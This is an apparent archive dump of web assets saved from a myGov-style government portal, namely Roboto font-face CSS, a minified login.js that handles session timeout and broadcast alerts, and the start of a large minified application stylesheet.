  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fBxc4EsA.woff2) format('woff2');
  unicode-range: U+0370-03FF;
}
/* vietnamese */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 300;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCxc4EsA.woff2) format('woff2');
  unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB;
}
/* latin-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 300;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fChc4EsA.woff2) format('woff2');
  unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 300;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fBBc4.woff2) format('woff2');
  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
/* cyrillic-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2');
  unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;
}
/* cyrillic */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu5mxKOzY.woff2) format('woff2');
  unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}
/* greek-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu7mxKOzY.woff2) format('woff2');
  unicode-range: U+1F00-1FFF;
}
/* greek */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4WxKOzY.woff2) format('woff2');
  unicode-range: U+0370-03FF;
}
/* vietnamese */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu7WxKOzY.woff2) format('woff2');
  unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB;
}
/* latin-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2');
  unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4mxK.woff2) format('woff2');
  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
/* cyrillic-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 500;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fCRc4EsA.woff2) format('woff2');
  unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;
}
/* cyrillic */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 500;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fABc4EsA.woff2) format('woff2');
  unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}
/* greek-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 500;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2');
  unicode-range: U+1F00-1FFF;
}
/* greek */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 500;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fBxc4EsA.woff2) format('woff2');
  unicode-range: U+0370-03FF;
}
/* vietnamese */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 500;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fCxc4EsA.woff2) format('woff2');
  unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB;
}
/* latin-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 500;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fChc4EsA.woff2) format('woff2');
  unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 500;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fBBc4.woff2) format('woff2');
  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
/* cyrillic-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfCRc4EsA.woff2) format('woff2');
  unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;
}
/* cyrillic */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfABc4EsA.woff2) format('woff2');
  unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}
/* greek-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfCBc4EsA.woff2) format('woff2');
  unicode-range: U+1F00-1FFF;
}
/* greek */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfBxc4EsA.woff2) format('woff2');
  unicode-range: U+0370-03FF;
}
/* vietnamese */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfCxc4EsA.woff2) format('woff2');
  unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB;
}
/* latin-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfChc4EsA.woff2) format('woff2');
  unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfBBc4.woff2) format('woff2');
  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
/* cyrillic-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 900;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfCRc4EsA.woff2) format('woff2');
  unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;
}
/* cyrillic */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 900;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfABc4EsA.woff2) format('woff2');
  unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}
/* greek-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 900;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfCBc4EsA.woff2) format('woff2');
  unicode-range: U+1F00-1FFF;
}
/* greek */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 900;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2) format('woff2');
  unicode-range: U+0370-03FF;
}
/* vietnamese */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 900;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfCxc4EsA.woff2) format('woff2');
  unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB;
}
/* latin-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 900;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfChc4EsA.woff2) format('woff2');
  unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 900;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfBBc4.woff2) format('woff2');
  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
mygov/app/sms_files/login.js.download000064400000003030151676702570013741 0ustar00setTimeout(function(){window.location="/mygov/content/html/session-expired.html";},1740000);function priorityLookup(levelName){switch(levelName){case"high":return 1;case"medium":return 2;case"low":return 3;default:return 4;}}function compareDates(firstDate,secondDate){firstDate=new Date(firstDate);secondDate=new Date(secondDate);return firstDate<secondDate?1:-1;}function getTopAlert(entries){var sortedAlerts=entries.sort(function(firstEntry,secondEntry){if(priorityLookup(firstEntry.priority)===priorityLookup(secondEntry.priority)){return compareDates(firstEntry.modified,secondEntry.modified);}return priorityLookup(firstEntry.priority)>priorityLookup(secondEntry.priority)?1:-1;});return sortedAlerts[0];}function getTopBroadcast(entries){var sortedBroadcasts=entries.sort(function(firstEntry,secondEntry){return compareDates(firstEntry.modified,secondEntry.modified);});return sortedBroadcasts[0];}function displayBroadcast(alert){if(alert&&alert.body){$(".emergency-text").html(alert.body);$(".emergency-text").find("a").attr("target","_blank");$(".emergency-information").css({height:"auto",padding:"17px 5px"});}}$(document).ready(function(){var url=$("#govcms-endpoint").val();var clientId=$("#govcms-client-id").val();var apiVersion=$("#govcms-api-version").val();if(url&&clientId&&apiVersion){fetch(url,{headers:{"x-caas-client-id":clientId,"x-caas-version":apiVersion,"Cache-Control":"no-cache"}}).then(function(resp){return resp.json();}).then(function(data){if(data&&data.broadcasts){displayBroadcast(getTopBroadcast(data.broadcasts));}});}});mygov/app/sms_files/mgv2-application.css000064400000364774151676702570014404 0ustar00.pathway-link-item:focus,.alert-link .alert-link-arrow:focus,.button-main:focus,.button-main:active,.button-minor:focus,.button-minor:active,.button-danger:focus,.button-danger:active,.button-modal-main:focus,.button-modal-main:active,.button-digital-id-toggle:focus,.button-digital-id-toggle:active,.button-main-mapwap:focus,.button-main-mapwap:active,.anchor:focus,.button-back:focus,.button-close:focus,form [type='radio']:focus+label,form [type='checkbox']:focus+label,button:focus,input:focus,optgroup:focus,select:focus,textarea:focus,.chosen-container:focus,.chosen-select:focus,body a:focus,body .non-transition-link:focus,footer[role='contentinfo'] a:focus,footer[role='contentinfo'] .non-transition-link:focus,.link-arrow:focus,.menu-hitbox:focus,.outage .expand:focus{outline:3px solid #666;outline-offset:2px}.pathway-link-item:focus,.alert-link .alert-link-arrow:focus{outline-offset:-1px}html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:bold}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-0.5em}sub{bottom:-0.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit;margin:0}button{overflow:visible}button,select{text-transform:none}button,html input[type="button"],input[type="reset"],input[type="submit"]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0}input{line-height:normal}input[type="checkbox"],input[type="radio"]{box-sizing:border-box;padding:0}input[type="number"]::-webkit-inner-spin-button,input[type="number"]::-webkit-outer-spin-button{height:auto}input[type="search"]{-webkit-appearance:textfield;box-sizing:content-box}input[type="search"]::-webkit-search-cancel-button,input[type="search"]::-webkit-search-decoration{-webkit-appearance:none}fieldset{border:1px solid #c0c0c0;margin:0 2px;padding:.35em .625em .75em}legend{border:0;padding:0}textarea{overflow:auto}optgroup{font-weight:bold}table{border-collapse:collapse;border-spacing:0}td,th{padding:0}html{box-sizing:border-box}*,*::after,*::before{box-sizing:inherit}[type='checkbox']+label[for="same-as-residential"]{display:block;margin-top:30px}.raet-container{display:block;position:relative;width:auto;width:100%;line-height:1.3em}.raet-line{overflow:visible;width:100%;margin:.75em 0 0;box-sizing:border-box;-webkit-transition:height 500ms ease-out,margin-top 500ms linear,opacity 500ms linear;transition:height 500ms ease-out,margin-top 500ms linear,opacity 500ms linear;height:auto;opacity:1}.raet-line:first-child{margin-top:0}.raet-line:focus{color:blue}.raet-message-success{color:#009b27;background-color:#effbf2;border:1px solid #009b27}.raet-message-fail{color:#bd6400;background-color:#ffffef;border:1px solid #bd6400}.raet-button{display:inline-block;font-size:1em;display:none;cursor:pointer;margin:0 3px;color:#007373;background:#e4efef;border:1px solid #007373}.raet-button:hover{color:black;background:#e2e2e2;border-color:black}.raet-container .raet-singleLine-input{width:100%}.raet-inlineWrapper{position:relative;display:inline-block;margin-bottom:6px!important;max-width:42em}.raet-inlineWrapper>input{box-sizing:border-box}.raet-dropDown{position:absolute;font-size:1em;display:none;left:0;right:0;z-index:1;max-height:425px;overflow:auto;list-style:none;margin:0;padding:0;background:white;border:1px solid grey;box-sizing:border-box;width:100%}.raet-dropDown li{cursor:pointer;padding:.9em .5em .3em;color:#555;min-height:1em}.raet-dropDown .additionalInfo{font-size:.9em;padding-left:1em;line-height:1.75em;text-transform:uppercase}.raet-dropDown strong{color:black}.raet-dropDown li:hover{background-color:#f5f5f5}.raet-dropDown .selected{background-color:#eee}@-webkit-keyframes rotate{100%{-webkit-transform:rotate(360deg)}}@keyframes rotate{100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.raet-spinner{pointer-events:none;display:block;position:absolute;top:0;right:0;border-radius:10px;border:3px solid #aaa;background:white;border-left-color:white;border-right-color:white;margin:3px;opacity:0;-webkit-transition:200ms linear opacity;transition:200ms linear opacity;-webkit-animation:rotate .9s linear infinite;animation:rotate .9s linear infinite}input::-ms-clear{width:0;height:0}.raet-aria-status{border:0 none;clip:rect(0,0,0,0);height:1px;width:1px;margin:-1px;overflow:hidden;padding:0;position:absolute}.raet-inputWrapper>input{width:100%;box-sizing:border-box}.raet-container input,.raet-container select{border:1px solid #969696}#raetDiv-home>div:nth-child(2){display:none}#raetDiv-postal>div:nth-child(2){display:none}/*!
Chosen, a Select Box Enhancer for jQuery and Prototype
by Patrick Filler for Harvest, http://getharvest.com

Version 1.6.2
Full source at https://github.com/harvesthq/chosen
Copyright (c) 2011-2016 Harvest http://getharvest.com

MIT License, https://github.com/harvesthq/chosen/blob/master/LICENSE.md
This file is generated by `grunt build`, do not edit it by hand.
*/.chosen-container{position:relative;display:block;vertical-align:middle;font-size:1rem;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;width:100%}.chosen-container *{box-sizing:border-box}.chosen-container .chosen-drop{position:absolute;top:100%;left:-9999px;z-index:1010;width:100%;border:1px solid #aaa;border-top:0;background:#fff}.chosen-container.chosen-with-drop .chosen-drop{left:0}.chosen-container a{cursor:pointer}.chosen-container .search-choice .group-name,.chosen-container .chosen-single .group-name{margin-right:4px;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;font-weight:normal;color:#999}.chosen-container .search-choice .group-name:after,.chosen-container .chosen-single .group-name:after{content:":";padding-left:2px;vertical-align:top}.chosen-container-single .chosen-single{position:relative;display:block;overflow:hidden;padding:.7em;border:1px solid #999;background-color:#fff;background-clip:padding-box;text-decoration:none;white-space:nowrap;line-height:1.15;margin-top:.4em}.chosen-container-single .chosen-single:hover{color:#333}.chosen-container-single .chosen-default{color:#333}.chosen-container-single .chosen-single span{display:block;overflow:hidden;margin-right:26px;white-space:nowrap;color:#333}.chosen-container-single .chosen-single-with-deselect span{margin-right:38px}.chosen-container-single .chosen-single abbr{position:absolute;top:40%;right:26px;display:block;width:12px;height:12px;background:url("../icons/chosen-sprite.png") -42px 1px no-repeat;font-size:1px;color:#333}.chosen-container-single .chosen-single abbr:hover{background-position:-42px -10px}.chosen-container-single.chosen-disabled .chosen-single abbr:hover{background-position:-42px -10px}.chosen-container-single .chosen-single div{position:absolute;top:25%;right:0;display:block;width:18px;height:100%}.chosen-container-single .chosen-single div b{display:block;width:100%;height:100%;background:url("../icons/chosen-sprite.png") no-repeat 0 2px;color:#333}.chosen-container-single .chosen-search{position:relative;z-index:1010;margin:0;padding:3px 4px;white-space:nowrap}.chosen-container-single .chosen-search input[type="text"]{margin:1px 0;padding:4px 20px 4px 5px;width:100%;height:auto;outline:0;border:1px solid #aaa;background:white url("../icons/chosen-sprite.png") no-repeat 100% -20px;background:url("../icons/chosen-sprite.png") no-repeat 100% -20px;font-size:1rem;font-family:sans-serif;line-height:normal;border-radius:0}.chosen-container-single .chosen-drop{margin-top:-1px;border-radius:0 0 4px 4px;background-clip:padding-box}.chosen-container-single.chosen-container-single-nosearch .chosen-search{position:absolute;left:-9999px}.chosen-container .chosen-results{color:#444;position:relative;overflow-x:hidden;overflow-y:auto;margin:0 4px 4px 0;padding:0 0 0 4px;max-height:240px;-webkit-overflow-scrolling:touch}.chosen-container .chosen-results li{display:none;margin:0;padding:5px 6px;list-style:none;line-height:15px;word-wrap:break-word;-webkit-touch-callout:none}.chosen-container .chosen-results li.active-result{display:list-item;cursor:pointer}.chosen-container .chosen-results li.disabled-result{display:list-item;color:#ccc;cursor:default}.chosen-container .chosen-results li.highlighted{background-color:#0f6493;color:#fff}.chosen-container .chosen-results li.no-results{color:#777;display:list-item;background:#f4f4f4}.chosen-container .chosen-results li.group-result{display:list-item;font-weight:bold;cursor:default}.chosen-container .chosen-results li.group-option{padding-left:15px}.chosen-container .chosen-results li em{font-style:normal;text-decoration:underline}.chosen-container-active.chosen-with-drop .chosen-single{border:1px solid #aaa;border-bottom-right-radius:0;border-bottom-left-radius:0}.chosen-container-active.chosen-with-drop .chosen-single div{border-left:none;background:transparent}.chosen-container-active.chosen-with-drop .chosen-single div b{background-position:-18px 2px}.chosen-container-active .chosen-choices{border:1px solid #5897fb}.chosen-container-active .chosen-choices li.search-field input[type="text"]{color:#222!important}.chosen-disabled{opacity:.5!important;cursor:default}.chosen-disabled .chosen-single{cursor:default}.chosen-disabled .chosen-choices .search-choice .search-choice-close{cursor:default}.chosen-rtl{text-align:right}.chosen-rtl .chosen-single{overflow:visible;padding:0 8px 0 0}.chosen-rtl .chosen-single span{margin-right:0;margin-left:26px;direction:rtl}.chosen-rtl .chosen-single-with-deselect span{margin-left:38px}.chosen-rtl .chosen-single div{right:auto;left:3px}.chosen-rtl .chosen-single abbr{right:auto;left:26px}.chosen-rtl .chosen-choices li{float:right}.chosen-rtl .chosen-choices li.search-field input[type="text"]{direction:rtl}.chosen-rtl .chosen-choices li.search-choice{margin:3px 5px 3px 0;padding:3px 5px 3px 19px}.chosen-rtl .chosen-choices li.search-choice .search-choice-close{right:auto;left:4px}.chosen-rtl.chosen-container-single-nosearch .chosen-search,.chosen-rtl .chosen-drop{left:9999px}.chosen-rtl.chosen-container-single .chosen-results{margin:0 0 4px 4px;padding:0 4px 0 0}.chosen-rtl .chosen-results li.group-option{padding-right:15px;padding-left:0}.chosen-rtl.chosen-container-active.chosen-with-drop .chosen-single div{border-right:0}.chosen-rtl .chosen-search input[type="text"]{padding:4px 5px 4px 20px;background:white url("../icons/chosen-sprite.png") no-repeat -30px -20px;background:url("../icons/chosen-sprite.png") no-repeat -30px -20px;direction:rtl}.chosen-rtl.chosen-container-single .chosen-single div b{background-position:6px 2px}.chosen-rtl.chosen-container-single.chosen-with-drop .chosen-single div b{background-position:-12px 2px}@media only screen and (-webkit-min-device-pixel-ratio:1.5),only screen and (min-resolution:144dpi),only screen and (min-resolution:1.5dppx){.chosen-rtl .chosen-search input[type="text"],.chosen-container-single .chosen-single abbr,.chosen-container-single .chosen-single div b,.chosen-container-single .chosen-search input[type="text"],.chosen-container-multi .chosen-choices .search-choice .search-choice-close,.chosen-container .chosen-results-scroll-down span,.chosen-container .chosen-results-scroll-up span{background-image:url("../icons/chosen-sprite@2x.png")!important;background-size:52px 37px!important;background-repeat:no-repeat!important}}.pincode-input-container{display:inline-block}.pincode-input-container input.first{border-top-right-radius:0;border-bottom-right-radius:0}.pincode-input-container input.last{border-top-left-radius:0;border-bottom-left-radius:0;border-left-width:0}.pincode-input-container input.mid{border-radius:0;border-left-width:0}.pincode-input-text,.form-control.pincode-input-text{width:35px;float:left}.pincode-input-error{clear:both}.pincode-input-container.touch .touchwrapper{position:relative;height:34px;margin-right:5px;overflow:hidden}.pincode-input-container.touch .touchwrapper .pincode-input-text{position:absolute;top:0;left:0;right:0;width:100%;display:block;background-color:transparent;background:transparent;letter-spacing:20px}.pincode-input-container.touch .touchwrapper.touch1{width:40px}.pincode-input-container.touch .touchwrapper.touch2{width:65px}.pincode-input-container.touch .touchwrapper.touch3{width:90px}.pincode-input-container.touch .touchwrapper.touch4{width:120px}.pincode-input-container.touch .touchwrapper.touch5{width:150px}.pincode-input-container.touch .touchwrapper.touch6{width:175px}.pincode-input-container.touch .touchwrapper .touchtable{width:100%;height:100%;table-layout:fixed}.pincode-input-container.touch .touchwrapper .touchtable td{border-right:1px solid #ccc}.pincode-input-container.touch .touchwrapper .touchtable td.last{border-right:0}html{color:#333;line-height:1.6;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-weight:400}body{font-size:1.125rem}h1,h2,.display,h3,#poro-form #modal-title,.poro-form #modal-title,h4{line-height:1.4;font-weight:400;margin-bottom:.4em}h1{font-size:1.75rem;font-weight:700;margin-bottom:0}h1:first-of-type{margin-top:1.5rem}h2,.display{font-size:1.375rem;line-height:1.2;margin-bottom:.5em}h2:first-of-type,.display:first-of-type{margin-top:1.2em}h2.bold,.bold.display{font-weight:700}h2.bold:nth-of-type(2n),.bold.display:nth-of-type(2n){margin-top:2em}h3,#poro-form #modal-title,.poro-form #modal-title{font-size:1.125rem;font-weight:700;margin-bottom:.8em}h4,h5,h6{font-size:1rem;font-weight:700}@media screen and (min-width:992px){.content-main h1,.content-main h2,.content-main .display,.content-main h3,.content-main #poro-form #modal-title,#poro-form .content-main #modal-title,.content-main .poro-form #modal-title,.poro-form .content-main #modal-title,.content-main h4,.content-main h5,.content-main p,.content-main li,.content-main dl{max-width:38rem}.content-main .content-full-width{max-width:none;width:100%}}strong{font-weight:700}strong.very-bold{font-weight:700}hr{border:1px solid #999;border-bottom:0;margin-bottom:0}ul,ol{padding-left:2.4em}ul ul,ol ul{list-style-type:disc}ul,ol,dl,p,dt,dd{margin-bottom:1rem;line-height:1.6em}li{margin-bottom:.53333em}li ul,li ol{margin-bottom:0}ul.no-bullets{list-style-type:none;margin:0;padding-left:1.2em}dt{display:inline-block;font-weight:700}dt:first-of-type{margin-top:0}.callout,.callout--warning{margin:1.6em .8em;padding:1.2em 1.2em 1.2em 1.6em;border-radius:1px;box-shadow:0 0 8px #ccc}.callout--warning{border-left:.4em solid #b7202d;padding-left:1.2em}.badge--default{display:inline-block;background-color:#999;border-radius:12px;padding:.4em .8em;line-height:1;letter-spacing:1px;color:white;font-size:.875rem}.badge--error{display:inline-block;background-color:#b7202d;border-radius:12px;padding:.4em .8em;line-height:1;letter-spacing:1px;color:white;font-size:.875rem}.badge--success{display:inline-block;background-color:#026540;border-radius:12px;padding:.4em .8em;line-height:1;letter-spacing:1px;color:#e7fff6;font-size:.875rem}article h1:first-of-type{margin-top:0}.is-visuallyhidden{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute!important;width:1px;background-color:#fff!important;color:#333!important}.visiblity-hidden{visibility:hidden}.hidden{display:none}.ua-notification{display:block;padding:.8em;text-align:center;background-color:#f80;color:#333;font-size:1.0625rem;margin-bottom:0}@media print{*,*::before,*::after,*::first-letter ,*::first-line {background:transparent;color:#333;box-shadow:none;text-shadow:none}a,a:visited{text-decoration:underline}a[href]::after{content:" (" attr(href) ")"}abbr[title]::after{content:" (" attr(title) ")"}a[href^='#']::after,a[href^='javascript:']::after{content:''}pre,blockquote{border:1px solid #ccc;page-break-inside:avoid}thead{display:table-header-group}tr,img{page-break-inside:avoid}img{max-width:100%}p,h2,.display,h3,#poro-form #modal-title,.poro-form #modal-title{orphans:3;widows:3}h2,.display,h3,#poro-form #modal-title,.poro-form #modal-title{page-break-after:avoid}}html{height:100%;min-width:300px}body{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;height:100%}body>header,body>footer{-webkit-box-flex:0;-webkit-flex:none;-ms-flex:none;flex:none}body>.wrapper,.wrapper-mapwap,.wrapper-integration,.wrapper-integration-mapwap{-webkit-box-flex:1;-webkit-flex:1 0 auto;-ms-flex:1 0 auto;flex:1 0 auto;width:100%;display:inline-block}body>.wrapper::after,.wrapper-mapwap::after,.wrapper-integration::after,.wrapper-integration-mapwap::after{content:'\00a0';height:0;visibility:hidden}@media screen and (min-width:992px){.main-block{max-width:900px;margin-left:auto;margin-right:auto}.main-block::after{clear:both;content:"";display:block}}.wrapper{padding:0 1em}@media screen and (min-width:576px){.wrapper{padding:0 2em}}.wrapper-mapwap{padding:0 1em}.wrapper-mapwap .main-block{max-width:400px;margin-left:auto;margin-right:auto}.wrapper-mapwap .main-block .pin-fields2{text-align:center}.wrapper-mapwap .main-block .pin-fields3{text-align:center}@media screen and (min-width:576px){.wrapper-mapwap .main-block{padding:0 2em;max-width:600px}}.uikit-skip-link{display:block}header[role='banner']{background-color:#026540;border-bottom:4px solid #026540;min-height:80px}header[role='banner'] .inner,header[role='banner'] .unauth .product-description .digital-id-inner,.unauth .product-description header[role='banner'] .digital-id-inner{position:relative}@media screen and (min-width:992px){header[role='banner'] .inner,header[role='banner'] .unauth .product-description .digital-id-inner,.unauth .product-description header[role='banner'] .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto}header[role='banner'] .inner::after,header[role='banner'] .unauth .product-description .digital-id-inner::after,.unauth .product-description header[role='banner'] 